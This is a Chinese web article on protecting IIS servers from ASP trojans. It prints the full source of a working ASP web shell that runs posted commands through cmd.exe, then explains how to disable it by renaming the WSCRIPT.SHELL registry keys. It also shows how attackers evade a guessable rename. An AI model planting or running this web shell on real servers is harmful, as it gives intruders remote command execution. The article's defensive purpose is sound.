当前位置:主页   - 电脑 - 网站开发 - ASP
Web服务器上防范基于ASP程序的木马
来源:网络   作者:    更新时间:2010-09-26
收藏此页】    【字号    】    【打印】    【关闭

随着ASP 技术的发展,网络上基于ASP技术开发的网站越来越多,对ASP技术的支持可以说已经是windows系统IIS服务器的一项基本功能。但是基于ASP技术的木马后门,也越来越多,而且功能也越来越强大。由于ASP它本身是服务器提供的一贡服务功能,所以这种ASP脚本的木马后门,不会被杀毒软件查杀。被黑客们称为“永远不会被查杀的后门”。由于其高度的隐蔽性和难查杀性,对网站的安全造成了严重的威胁。因此针对ASP木马的防范和清除,为我们的网管人员提出了更高的技术要求。下面我结合个人的经验,谈一下对两款比较典型的ASP 木马的防范方法,希望对大家能够有所帮助。

以下是第一款木马的代码:

<title>ASP Shell</title>
<%@ Language=VBScript %>
<%
 Dim oScript
 Dim oScriptNet
 Dim oFileSys, oFile
 Dim szCMD, szTempFile
 On Error Resume Next
 -- create the COM objects that we will be using --
 Set oScript = Server.CreateObject("WSCRIPT.SHELL")
 Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
 Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
 -- check for a command that we have posted --
 szCMD = Request.Form(".CMD")
 If (szCMD <> "") Then
  -- Use a poor mans pipe ... a temp file --
  szTempFile = "C:" & oFileSys.GetTempName( )
  Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
  Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
 End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行命令">
</FORM>
<PRE><%
 If (IsObject(oFile)) Then
  -- Read the output from our command and remove the temp file --
  On Error Resume Next
  Response.Write Server.HTMLEncode(oFile.ReadAll)
  oFile.Close
  Call oFileSys.DeleteFile(szTempFile, True)
 End If
%>
</BODY>
</HTML>

然后在命令行里输入DIR命令点执行就可以查看目录了!!它可以使用各种DOS命令,如:copy、net、netstat等。

但是它的默认执行权限只有GUEST,也就是IUSR_COMPUTER用户的执行权限。当然如果你把IUSR_COMPUTER用户加入管理员组,那么你就有管理员权限了。这一款木马的特点是,使用很方便。几乎就想当于DOS命令行窗口xx作一样。但是如果服务器限制了FSO(无组件上传),那么它是没有办法使用了。还有就是在服务器以后增加的虚拟主机里也没有办法使用。只能在“默认 Web 站点”里使用,所以它相对的适用范围较窄。

对于防范方法让我们看一下它的代码就知道了:

Set oScript = Server.CreateObject("WSCRIPT.SHELL")
'建立了一个名为oScript的WSCRIPT.SHELL对象,用于命令的执行"
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 

上面三行代码创建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个对象,我们只要在注册表中把控制WSCRIPT.SHELL对象的项改名或删除就可以了。如下图:值得注意的是:我们应该把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要改名或删除。因为如我们只修改“WSCRIPT.SHELL”项的话。那么黑客们只要把代码修改如下:

Set oScript = Server.CreateObject("WSCRIPT.SHELL.1")

这个后门木马就又可以执行了。

大家可能已经想到了,我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”改名时,一定要不容易被黑客们猜到,因为例如:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只要把代码相应的改成:

Set oScript = Server.CreateObject("WSCRIPT.SHELL888")

木马程序就又可以执行了。还有就修改了注册表以后要重起WEB服务,设置才会有效。

其它资源
来源声明

版权与免责声明
1、本站所发布的文章仅供技术交流参考,本站不主张将其做为决策的依据,浏览者可自愿选择采信与否,本站不对因采信这些信息所产生的任何问题负责。
2、本站部分文章来源于网络,其版权为原权利人所有。由于来源之故,有的文章未能获得作者姓名,署“未知”或“佚名”。对于这些文章,有知悉作者姓名的请告知本站,以便及时署名。如果作者要求删除,我们将予以删除。除此之外本站不再承担其它责任。
3、本站部分文章来源于本站原创,本站拥有所有权利。
4、如对本站发布的信息有异议,请联系我们,经本站确认后,将在三个工作日内做出修改或删除处理。
请参阅权责声明